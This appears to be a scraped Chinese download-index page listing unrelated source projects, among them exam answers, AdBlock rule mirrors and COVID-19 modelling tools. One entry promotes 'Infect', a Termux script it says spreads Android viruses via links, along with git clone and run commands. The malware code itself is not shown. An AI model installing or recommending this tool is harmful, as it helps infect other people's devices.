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  1. 电大2013年秋)计算机应用基础形成性考核册题目及答案

  2. 计算机应用基础形成性考核册答案 电大天堂【计算机应用基础】形考作业一： (WindowsXP) 一、选择题 1、 第一台电子计算机诞生于（C） A、1958年 B、1942年 C、1946年 D、1948年 2、一个完整的计算机系统应当包括（B）。 A、计算机与外设 B、硬件系统与软件系统 C、主机、键盘与显示器 D、系统硬件与系统软件 3、在计算机内部，数据是以（D）形式加工处理和传送的。 A、十进制码 B、十六进制码 C、八进制码 D、二进制码 4、目前使用的防杀病毒软件的作用是（C）。

  3. 所属分类：其它

    • 发布日期：2013-05-14
    • 文件大小：118kb
    • 提供者：u010688543

  1. AdBlock-Rules-Mirror：一种优雅的方式来加快更新广告屏蔽规则的速度-源码

  2. AdBlock规则镜像 一种加快更新Ad-Block规则的优雅方法。 光速更新去广告规则。 :bookmark:设计初衷 在项目中，一直也没有出现大量去广告的规则片段。因为我对在代理工具中添加去广告规则比较不屑一顾，因为这样操作会让代理工具非常占用内存（容易导致代理进度被*），维护成本高（广告域名变化快，规则无效快）等弊端。 因此我一直推荐把去广告的任务交给专业的工具： :globe_showing_Europe-Africa:浏览器插件 :television:路由器端 阿德比

  3. 所属分类：其它

    • 发布日期：2021-02-27
    • 文件大小：845kb
    • 提供者：weixin_42099302

  1. AdBlock-Acceleration：InternationalChina加速广告过滤规则订阅（国际中国加速广告过滤规则的订阅）-源码

  2. AdBlock加速 国际/中国加速广告过滤规则订阅（） :bookmark: 过滤工具建议 过滤工具： :globe_showing_Europe-Africa: 浏览器插件 :television: 路由器终端 :mobile_phone: 移动的 :laptop: 台式机（全球反广告）） :male_sign:‍:male_sign: 但是，所有这些工具都有一个痛点，因为这些规则主要托管在离岸服务器上，这使得更新极其缓慢，甚至无法成功更新。 :tired_fac

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  1. 感染大师-源码

  2. 关于工具： Infect是一个基于bash的脚本，正式为termux用户制作，通过此工具，您只需发送链接即可传播android病毒。 此工具可在有根的Android设备和无根的Android设备上使用。 适用于： Termux 测试于： Termux 要求 ： 互联网 外部存储权限 储存400 MB 1GB内存 特征 ： [+]危险病毒工具！ [+]更新维护！ [+]易于初学者！ [+] termux的有效病毒工具！ 安装[Termux]： apt-get update -y

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  1. 感染：感染更新工具-源码

  2. 命令 pkg update pkg upgrade pkg install git pkg insall python2 rm -rf infect git clone https://github.com/Tech-abm/infect cd infect chmod +x * python2 infect.py

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  1. COVIDNet-CT：COVID-Net开源计划-从胸部CT检测COVID-19的模型-源码

  2. COVID-Net开源计划-COVID-Net CT 注意：此处提供的COVID-Net CT模型旨在用作参考模型，可以在可获得新数据时对其进行构建和增强。 它们目前正处于研究阶段，尚不打算作为可用于生产的模型（即，不用于直接临床诊断），并且随着新数据的到来，我们正在不断努力改进它们。 请不要使用COVID-Net CT进行自我诊断，并向当地卫生部门寻求帮助。 2021-01-26更新：我们发布了以及数据集，分别包含来自3745位患者的194,922个CT切片和来自4,501位患者的201,

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  1. covid19_scenarios：COVID-19爆发轨迹和医院需求的模型-源码

  2. COVID-19方案 COVID-19爆发轨迹的模型和医院需求 有任何疑问或建议吗？ :magnifying_glass_tilted_left: 发现 仿真器 源代码存储库 资料目录 更新 :eyes: 总览 该工具基于模拟COVID19爆发的SIR模型（有关详细信息，请参见有关页面）。 最初，人口最容易受到感染（最初病例除外）。 从COVID19中恢复的个体随后免疫。 当前，模型的参数不适合数据，而仅仅是默认值。 在某些地方，这些地方可能比其他地方更合适。 特别是最初的案例数通常只是粗略

  3. 所属分类：其它

  1. chime_sims：贝叶斯适合SEIR模型。 Penn Medicine的CHIME工具的扩展-源码

  2. 贝叶斯 围绕传播，感染的严重性以及当地人群对COVID-19的易感性的许多因素仍然非常不确定。 但是，随着可获得有关住院病例的新数据，我们希望合并这些数据，以便更新和完善对未来需求的预测，以更好地为容量规划人员提供信息。 为此，我们扩大了CHIME的范围，以增加流行病学过程的真实性，并在可用时一致地合并新数据。 此扩展使我们可以从少数几种情况过渡，以根据参数假设评估最佳和最坏情况的预测，再到代表可能情况的连续分布的概率预测。 安装 我们建议使用 python发行版，该发行版是运行该应用程序所需的

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